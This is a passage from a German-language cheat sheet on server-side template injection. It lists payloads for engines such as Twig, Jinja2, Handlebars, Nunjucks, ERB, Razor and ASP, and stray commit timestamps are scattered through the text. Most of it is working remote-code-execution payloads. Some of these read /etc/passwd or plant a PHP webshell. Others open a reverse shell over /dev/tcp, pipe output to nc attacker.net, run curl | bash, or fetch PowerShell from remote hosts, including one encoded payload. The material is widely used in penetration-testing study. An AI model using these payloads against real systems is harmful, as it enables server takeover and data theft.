new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))
```
2022-10-25 15:56:49 +00:00
< figure > < img src = "https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt = "" > < figcaption > < / figcaption > < / figure >
2024-07-19 16:12:53 +00:00
[**RootedCON**](https://www.rootedcon.com/) ist die relevanteste Cybersecurity-Veranstaltung in **Spanien** und eine der wichtigsten in **Europa** . Mit **der Mission, technisches Wissen zu fördern** , ist dieser Kongress ein brodelnder Treffpunkt für Technologie- und Cybersecurity-Profis in jeder Disziplin.
2022-10-25 15:56:49 +00:00
{% embed url="https://www.rootedcon.com/" %}
##
2022-05-01 13:25:53 +00:00
### Smarty (PHP)
2021-06-25 12:34:30 +00:00
```php
{$smarty.version}
{php}echo `id` ;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?> ",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3
```
2024-07-19 16:12:53 +00:00
**Mehr Informationen**
2020-07-15 15:43:14 +00:00
2024-07-19 16:12:53 +00:00
* Im Smarty-Bereich von [https://portswigger.net/research/server-side-template-injection ](https://portswigger.net/research/server-side-template-injection )
2021-10-18 11:21:18 +00:00
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty ](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty )
2020-07-15 15:43:14 +00:00
2022-05-01 13:25:53 +00:00
### Twig (PHP)
2020-07-15 15:43:14 +00:00
* `{{7*7}} = 49`
* `${7*7} = ${7*7}`
* `{{7*'7'}} = 49`
2024-02-23 16:45:59 +00:00
* `{{1/0}} = Error`
* `{{foobar}} Nothing`
2021-06-25 12:34:30 +00:00
```python
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}
#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
2022-10-03 13:43:01 +00:00
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
2021-06-25 12:34:30 +00:00
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
2024-01-07 19:40:00 +00:00
{{['id',""]|sort('system')}}
#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}
2021-06-25 12:34:30 +00:00
```
2024-07-19 16:12:53 +00:00
**Twig - Template-Format**
2021-06-25 12:34:30 +00:00
```php
$output = $twig > render (
2024-02-10 15:36:32 +00:00
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
2021-06-25 12:34:30 +00:00
);
$output = $twig > render (
2024-02-10 15:36:32 +00:00
"Dear {first_name}",
array("first_name" => $user.first_name)
2021-06-25 12:34:30 +00:00
);
```
2024-07-19 16:12:53 +00:00
**Mehr Informationen**
2020-07-15 15:43:14 +00:00
2024-07-19 16:12:53 +00:00
* Im Twig und Twig (Sandboxed) Abschnitt von [https://portswigger.net/research/server-side-template-injection ](https://portswigger.net/research/server-side-template-injection )
2021-10-18 11:21:18 +00:00
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig ](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig )
2020-07-15 15:43:14 +00:00
2023-03-28 17:50:22 +00:00
### Plates (PHP)
2024-07-19 16:12:53 +00:00
Plates ist eine Templating-Engine, die nativ in PHP ist und sich von Twig inspirieren lässt. Im Gegensatz zu Twig, das eine neue Syntax einführt, nutzt Plates nativen PHP-Code in Templates, was es für PHP-Entwickler intuitiv macht.
2023-03-28 17:50:22 +00:00
2024-02-06 14:12:47 +00:00
Controller:
2023-03-28 17:50:22 +00:00
```php
// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');
// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);
```
2024-02-10 15:36:32 +00:00
Seitenvorlage:
2023-03-28 17:50:22 +00:00
```php
<?php $this->layout('template', ['title' => 'User Profile']) ?>
< h1 > User Profile< / h1 >
< p > Hello, <?=$this->e($name)?> < / p >
```
2024-07-19 16:12:53 +00:00
Layout-Vorlage:
2023-03-28 17:50:22 +00:00
```html
< html >
2024-02-10 15:36:32 +00:00
< head >
< title > <?=$this->e($title)?> < / title >
< / head >
< body >
<?=$this->section('content')?>
< / body >
2023-03-28 17:50:22 +00:00
< / html >
```
2024-07-19 16:12:53 +00:00
**Mehr Informationen**
2024-02-23 16:45:59 +00:00
2024-02-06 14:12:47 +00:00
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#plates ](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#plates )
2024-02-10 15:36:32 +00:00
### PHPlib und HTML\_Template\_PHPLIB (PHP)
2023-03-28 17:50:22 +00:00
2024-07-19 16:12:53 +00:00
[HTML\_Template\_PHPLIB ](https://github.com/pear/HTML\_Template\_PHPLIB ) ist dasselbe wie PHPlib, aber auf Pear portiert.
2023-03-28 17:50:22 +00:00
`authors.tpl`
```html
< html >
2024-02-10 15:36:32 +00:00
< head > < title > {PAGE_TITLE}< / title > < / head >
< body >
< table >
< caption > Authors< / caption >
< thead >
< tr > < th > Name< / th > < th > Email< / th > < / tr >
< / thead >
< tfoot >
< tr > < td colspan = "2" > {NUM_AUTHORS}< / td > < / tr >
< / tfoot >
< tbody >
2023-03-28 17:50:22 +00:00
<!-- BEGIN authorline -->
2024-02-10 15:36:32 +00:00
< tr > < td > {AUTHOR_NAME}< / td > < td > {AUTHOR_EMAIL}< / td > < / tr >
2023-03-28 17:50:22 +00:00
<!-- END authorline -->
2024-02-10 15:36:32 +00:00
< / tbody >
< / table >
< / body >
2023-03-28 17:50:22 +00:00
< / html >
```
2024-07-19 16:12:53 +00:00
`authors.php`
2023-03-28 17:50:22 +00:00
```php
< ?php
//we want to display this author list
$authors = array(
2024-02-10 15:36:32 +00:00
'Christian Weiske' => 'cweiske@php.net',
'Bjoern Schotte' => 'schotte@mayflower.de'
2023-03-28 17:50:22 +00:00
);
require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');
//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));
//display the authors
foreach ($authors as $name => $email) {
2024-02-10 15:36:32 +00:00
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
2023-03-28 17:50:22 +00:00
}
//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>
```
2024-07-19 16:12:53 +00:00
**Mehr Informationen**
2024-02-23 16:45:59 +00:00
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html\_template\_phplib ](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html\_template\_phplib )
2024-02-06 14:12:47 +00:00
2022-05-01 13:25:53 +00:00
### Jade (NodeJS)
2021-06-25 12:34:30 +00:00
```javascript
- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
```
```javascript
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}
```
2024-07-19 16:12:53 +00:00
**Mehr Informationen**
2021-06-25 12:34:30 +00:00
2024-07-19 16:12:53 +00:00
* Im Jade-Bereich von [https://portswigger.net/research/server-side-template-injection ](https://portswigger.net/research/server-side-template-injection )
2021-10-18 11:21:18 +00:00
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen ](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen )
2020-07-15 15:43:14 +00:00
2023-03-28 17:50:22 +00:00
### patTemplate (PHP)
2024-08-12 14:42:22 +00:00
> [patTemplate](https://github.com/wernerwa/pat-template) nicht-kompilierende PHP-Template-Engine, die XML-Tags verwendet, um ein Dokument in verschiedene Teile zu unterteilen.
2023-03-28 17:50:22 +00:00
```xml
< patTemplate:tmpl name = "page" >
2024-02-10 15:36:32 +00:00
This is the main page.
< patTemplate:tmpl name = "foo" >
It contains another template.
< / patTemplate:tmpl >
< patTemplate:tmpl name = "hello" >
Hello {NAME}.< br / >
< / patTemplate:tmpl >
2023-03-28 17:50:22 +00:00
< / patTemplate:tmpl >
```
2024-07-19 16:12:53 +00:00
**Mehr Informationen**
2024-02-23 16:45:59 +00:00
2024-02-06 14:12:47 +00:00
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#pattemplate ](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#pattemplate )
2022-05-01 13:25:53 +00:00
### Handlebars (NodeJS)
2020-07-15 15:43:14 +00:00
2024-07-19 16:12:53 +00:00
Path Traversal (mehr Informationen [hier ](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/ )).
2021-02-03 09:46:19 +00:00
```bash
curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
```
2024-02-10 15:36:32 +00:00
* \= Fehler
2020-07-15 15:43:14 +00:00
* ${7\*7} = ${7\*7}
2024-02-10 15:36:32 +00:00
* Nichts
2021-06-25 12:34:30 +00:00
```java
{{#with "s" as |string|}}
2024-02-10 15:36:32 +00:00
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
2020-07-15 15:43:14 +00:00
{{/with}}
URLencoded:
2023-07-11 13:23:18 +00:00
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D
2020-07-15 15:43:14 +00:00
```
2024-07-19 16:12:53 +00:00
**Mehr Informationen**
2020-07-15 15:43:14 +00:00
* [http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html ](http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html )
2022-05-01 13:25:53 +00:00
### JsRender (NodeJS)
2020-12-01 16:50:24 +00:00
2024-07-19 16:12:53 +00:00
| **Template** | **Beschreibung** |
2024-05-05 22:18:38 +00:00
| ------------ | --------------------------------------- |
2024-07-19 16:12:53 +00:00
| | Auswerten und Ausgabe rendern |
| | Auswerten und HTML-kodierte Ausgabe rendern |
| | Kommentar |
| und | Code erlauben (standardmäßig deaktiviert) |
2020-12-01 16:50:24 +00:00
2021-10-18 11:21:18 +00:00
* \= 49
2020-12-01 16:50:24 +00:00
2024-07-19 16:12:53 +00:00
**Client-Seite**
2021-06-25 12:34:30 +00:00
```python
2020-12-01 16:50:24 +00:00
{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}
```
2024-07-19 16:12:53 +00:00
**Server-Seite**
2020-12-01 16:50:24 +00:00
```bash
{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}
```
2024-07-19 16:12:53 +00:00
**Mehr Informationen**
2020-12-01 16:50:24 +00:00
* [https://appcheck-ng.com/template-injection-jsrender-jsviews/ ](https://appcheck-ng.com/template-injection-jsrender-jsviews/ )
2022-05-01 13:25:53 +00:00
### PugJs (NodeJS)
2021-01-09 10:15:51 +00:00
2021-01-10 15:09:49 +00:00
* `#{7*7} = 49`
* `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}`
2021-12-16 22:42:47 +00:00
* `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}`
2021-01-10 15:09:49 +00:00
2024-08-12 14:42:22 +00:00
**Beispiel für serverseitiges Rendering**
2021-06-25 12:34:30 +00:00
```javascript
2021-01-10 15:09:49 +00:00
var pugjs = require('pug');
home = pugjs.render(injected_page)
```
2024-07-19 16:12:53 +00:00
**Mehr Informationen**
2021-01-09 10:15:51 +00:00
* [https://licenciaparahackear.github.io/en/posts/bypassing-a-restrictive-js-sandbox/ ](https://licenciaparahackear.github.io/en/posts/bypassing-a-restrictive-js-sandbox/ )
2022-05-01 13:25:53 +00:00
### NUNJUCKS (NodeJS) <a href="#nunjucks" id="nunjucks"></a>
2022-02-01 22:03:45 +00:00
2022-02-09 16:22:44 +00:00
* \{{7\*7\}} = 49
2024-02-10 15:36:32 +00:00
* \{{foo\}} = Keine Ausgabe
2022-02-01 22:03:45 +00:00
* \#{7\*7} = #{7\*7}
2024-02-10 15:36:32 +00:00
* \{{console.log(1)\}} = Fehler
2022-02-01 22:03:45 +00:00
```javascript
{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}
{{range.constructor("return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>& 1\"')")()}}
```
2024-07-19 16:12:53 +00:00
**Mehr Informationen**
2022-02-01 22:03:45 +00:00
* [http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine ](http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine )
2022-05-01 13:25:53 +00:00
### ERB (Ruby)
2020-07-15 15:43:14 +00:00
* `{{7*7}} = {{7*7}}`
* `${7*7} = ${7*7}`
* `<%= 7*7 %> = 49`
2024-07-19 16:12:53 +00:00
* `<%= foobar %> = Fehler`
2021-06-25 12:34:30 +00:00
```python
< %= system("whoami") %> #Execute code
< %= Dir.entries('/') %> #List folder
< %= File.open('/etc/passwd').read %> #Read file
< %= system('cat /etc/passwd') %>
< %= `ls /` %>
< %= IO.popen('ls /').readlines() %>
< % require 'open3' %>< % @a ,@b,@c,@d=Open3.popen3('whoami') %>< %= @b .readline()%>
< % require 'open4' %>< % @a ,@b,@c,@d=Open4.popen4('whoami') %>< %= @c .readline()%>
```
2024-07-19 16:12:53 +00:00
**Mehr Informationen**
2021-06-25 12:34:30 +00:00
2021-10-18 11:21:18 +00:00
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby ](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby )
2021-06-25 12:34:30 +00:00
2022-05-01 13:25:53 +00:00
### Slim (Ruby)
2021-06-25 12:34:30 +00:00
* `{ 7 * 7 }`
2021-10-18 11:21:18 +00:00
```
2021-06-25 12:34:30 +00:00
{ %x|env| }
2020-07-15 15:43:14 +00:00
```
2024-07-19 16:12:53 +00:00
**Mehr Informationen**
2020-07-15 15:43:14 +00:00
2021-10-18 11:21:18 +00:00
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby ](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby )
2020-07-15 15:43:14 +00:00
2022-05-01 13:25:53 +00:00
### Python
2021-06-25 16:27:28 +00:00
2024-07-19 16:12:53 +00:00
Schau dir die folgende Seite an, um Tricks über **willkürliche Befehlsausführung, die Sandboxes umgeht** in Python zu lernen:
2021-06-25 16:27:28 +00:00
2022-05-16 08:29:00 +00:00
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
[bypass-python-sandboxes ](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/ )
2021-10-18 11:21:18 +00:00
{% endcontent-ref %}
2021-06-25 16:27:28 +00:00
2022-05-01 13:25:53 +00:00
### Tornado (Python)
2020-07-15 15:43:14 +00:00
* `{{7*7}} = 49`
* `${7*7} = ${7*7}`
2024-07-19 16:12:53 +00:00
* `{{foobar}} = Fehler`
2020-07-15 15:43:14 +00:00
* `{{7*'7'}} = 7777777`
2021-06-25 12:34:30 +00:00
```python
2022-02-09 16:22:44 +00:00
{% raw %}
2020-07-15 15:43:14 +00:00
{% import foobar %} = Error
2022-02-09 16:22:44 +00:00
{% import os %}
2022-09-26 09:52:47 +00:00
2022-10-03 13:43:01 +00:00
{% import os %}
2022-12-09 14:47:58 +00:00
{% endraw %}
2023-01-13 17:40:30 +00:00
2023-03-05 22:20:47 +00:00
2023-04-05 23:11:20 +00:00
2024-02-23 16:45:59 +00:00
2024-03-29 21:05:19 +00:00
2022-12-09 14:47:58 +00:00
{{os.system('whoami')}}
2022-04-06 08:57:29 +00:00
{{os.system('whoami')}}
2020-07-15 15:43:14 +00:00
```
2024-07-19 16:12:53 +00:00
**Mehr Informationen**
2024-02-23 16:45:59 +00:00
2024-02-06 14:12:47 +00:00
* [https://ajinabraham.com/blog/server-side-template-injection-in-tornado ](https://ajinabraham.com/blog/server-side-template-injection-in-tornado )
2020-07-15 15:43:14 +00:00
2022-05-01 13:25:53 +00:00
### Jinja2 (Python)
2021-06-25 12:34:30 +00:00
2024-02-10 15:36:32 +00:00
[Offizielle Website ](http://jinja.pocoo.org )
2020-07-15 15:43:14 +00:00
2024-07-19 16:12:53 +00:00
> Jinja2 ist eine voll funktionsfähige Template-Engine für Python. Es hat volle Unicode-Unterstützung, eine optionale integrierte sandboxed Ausführungsumgebung, wird weit verbreitet verwendet und ist BSD-lizenziert.
2020-07-15 15:43:14 +00:00
2024-02-10 15:36:32 +00:00
* `{{7*7}} = Fehler`
2020-07-15 15:43:14 +00:00
* `${7*7} = ${7*7}`
2024-02-10 15:36:32 +00:00
* `{{foobar}} Nichts`
2021-06-25 12:34:30 +00:00
* `{{4*4}}[[5*5]]`
* `{{7*'7'}} = 7777777`
* `{{config}}`
* `{{config.items()}}`
* `{{settings.SECRET_KEY}}`
* `{{settings}}`
2022-04-06 08:57:29 +00:00
* `<div data-gb-custom-block data-tag="debug"></div>`
2021-06-25 12:34:30 +00:00
```python
2022-02-09 16:22:44 +00:00
{% raw %}
2020-07-15 15:43:14 +00:00
{% debug %}
2022-02-09 16:22:44 +00:00
{% endraw %}
2022-06-18 20:54:28 +00:00
2023-04-05 23:11:20 +00:00
2023-04-30 21:23:47 +00:00
2024-02-23 16:45:59 +00:00
2024-03-29 21:05:19 +00:00
2020-07-15 15:43:14 +00:00
{{settings.SECRET_KEY}}
2021-06-25 12:34:30 +00:00
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777
```
2024-02-10 15:36:32 +00:00
**Jinja2 - Vorlagenformat**
2021-06-25 12:34:30 +00:00
```python
2022-02-09 16:22:44 +00:00
{% raw %}
2021-06-25 12:34:30 +00:00
{% extends "layout.html" %}
{% block body %}
2024-02-10 15:36:32 +00:00
< ul >
{% for user in users %}
< li > < a href = "{{ user.url }}" > {{ user.username }}< / a > < / li >
{% endfor %}
< / ul >
2021-06-25 12:34:30 +00:00
{% endblock %}
2022-02-09 16:22:44 +00:00
{% endraw %}
2023-04-05 23:11:20 +00:00
2023-03-28 17:50:22 +00:00
```
2024-02-10 15:36:32 +00:00
[**RCE nicht abhängig von** ](https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/ ) `__builtins__` :
2023-03-28 17:50:22 +00:00
```python
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}
# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}
2021-06-25 12:34:30 +00:00
```
2024-07-19 16:12:53 +00:00
**Weitere Details, wie man Jinja ausnutzen kann**:
2021-06-25 12:34:30 +00:00
2022-07-20 01:03:41 +00:00
{% content-ref url="jinja2-ssti.md" %}
[jinja2-ssti.md ](jinja2-ssti.md )
{% endcontent-ref %}
2021-06-07 09:30:58 +00:00
2024-07-19 16:12:53 +00:00
Andere Payloads in [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2 ](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2 )
2024-02-06 14:12:47 +00:00
2022-05-01 13:25:53 +00:00
### Mako (Python)
2021-06-25 12:34:30 +00:00
```python
2021-06-07 09:30:58 +00:00
< %
import os
x=os.popen('id').read()
%>
${x}
```
2024-07-19 16:12:53 +00:00
**Mehr Informationen**
2024-02-23 16:45:59 +00:00
2024-02-06 14:12:47 +00:00
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako ](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako )
2022-05-01 13:25:53 +00:00
### Razor (.Net)
2020-07-19 21:53:59 +00:00
2024-02-10 15:36:32 +00:00
* `@(2+2) <= Erfolg`
* `@() <= Erfolg`
* `@("{{code}}") <= Erfolg`
2024-07-19 16:12:53 +00:00
* `@ <=Erfolg`
2024-02-10 15:36:32 +00:00
* `@{} <= FEHLER!`
* `@{ <= FEHLER!`
2020-07-19 21:53:59 +00:00
* `@(1+2)`
2022-01-06 11:03:56 +00:00
* `@( //C#Code )`
* `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");`
2024-07-19 16:12:53 +00:00
* `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");`
2020-07-19 21:53:59 +00:00
2024-07-19 16:12:53 +00:00
Die .NET `System.Diagnostics.Process.Start` Methode kann verwendet werden, um jeden Prozess auf dem Server zu starten und somit eine Webshell zu erstellen. Ein Beispiel für eine verwundbare Webanwendung finden Sie unter [https://github.com/cnotin/RazorVulnerableApp ](https://github.com/cnotin/RazorVulnerableApp )
2020-07-19 21:53:59 +00:00
2024-07-19 16:12:53 +00:00
**Mehr Informationen**
2020-07-19 21:53:59 +00:00
2021-10-18 11:21:18 +00:00
* [https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/ ](https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-\(SSTI\ )-in-ASP.NET-Razor/)
2022-01-06 11:03:56 +00:00
* [https://www.schtech.co.uk/razor-pages-ssti-rce/ ](https://www.schtech.co.uk/razor-pages-ssti-rce/ )
2020-07-19 21:53:59 +00:00
2022-05-01 13:25:53 +00:00
### ASP
2022-02-03 15:39:58 +00:00
* `<%= 7*7 %>` = 49
* `<%= "foo" %>` = foo
2024-02-10 15:36:32 +00:00
* `<%= foo %>` = Nichts
2024-07-19 16:12:53 +00:00
* `<%= response.write(date()) %>` = \<Datum>
2024-02-06 14:12:47 +00:00
```xml
2022-02-03 15:39:58 +00:00
< %= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
```
2024-07-19 16:12:53 +00:00
**Mehr Informationen**
2022-02-03 15:39:58 +00:00
* [https://www.w3schools.com/asp/asp\_examples.asp ](https://www.w3schools.com/asp/asp\_examples.asp )
2022-05-01 13:25:53 +00:00
### Mojolicious (Perl)
2020-07-26 18:06:17 +00:00
2024-02-10 15:36:32 +00:00
Auch wenn es Perl ist, verwendet es Tags wie ERB in Ruby.
2020-07-26 18:06:17 +00:00
* `<%= 7*7 %> = 49`
2024-08-12 14:42:22 +00:00
* `<%= foobar %> = Error`
2021-10-18 11:21:18 +00:00
```
2020-07-26 18:06:17 +00:00
< %= perl code %>
< % perl code %>
```
2022-05-01 13:25:53 +00:00
### SSTI in GO
2021-05-27 10:20:50 +00:00
2024-07-19 16:12:53 +00:00
Im Template-Engine von Go kann die Bestätigung seiner Verwendung mit spezifischen Payloads erfolgen:
2021-05-27 10:20:50 +00:00
2024-07-19 16:12:53 +00:00
* `{{ . }}` : Gibt die Datenstruktur-Eingabe preis. Wenn beispielsweise ein Objekt mit einem `Password` -Attribut übergeben wird, könnte `{{ .Password }}` es offenbaren.
2024-02-10 15:36:32 +00:00
* `{{printf "%s" "ssti" }}` : Sollte den String "ssti" anzeigen.
2024-07-19 16:12:53 +00:00
* `{{html "ssti"}}` , `{{js "ssti"}}` : Diese Payloads sollten "ssti" zurückgeben, ohne "html" oder "js" anzuhängen. Weitere Direktiven können in der Go-Dokumentation [hier ](https://golang.org/pkg/text/template ) erkundet werden.
2021-05-27 10:20:50 +00:00
2024-07-19 16:12:53 +00:00
**XSS Exploitation**
2022-02-03 00:17:18 +00:00
2024-08-12 14:42:22 +00:00
Mit dem `text/template` -Paket kann XSS einfach sein, indem die Payload direkt eingefügt wird. Im Gegensatz dazu kodiert das `html/template` -Paket die Antwort, um dies zu verhindern (z.B. `{{"<script>alert(1)</script>"}}` ergibt `<script>alert(1)</script>` ). Dennoch kann die Definition und der Aufruf von Templates in Go diese Kodierung umgehen: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
2022-02-03 00:17:18 +00:00
2024-02-23 16:45:59 +00:00
vbnet Copy code
2022-02-03 00:17:18 +00:00
2024-07-19 16:12:53 +00:00
**RCE Exploitation**
2022-02-03 00:17:18 +00:00
2024-08-12 14:42:22 +00:00
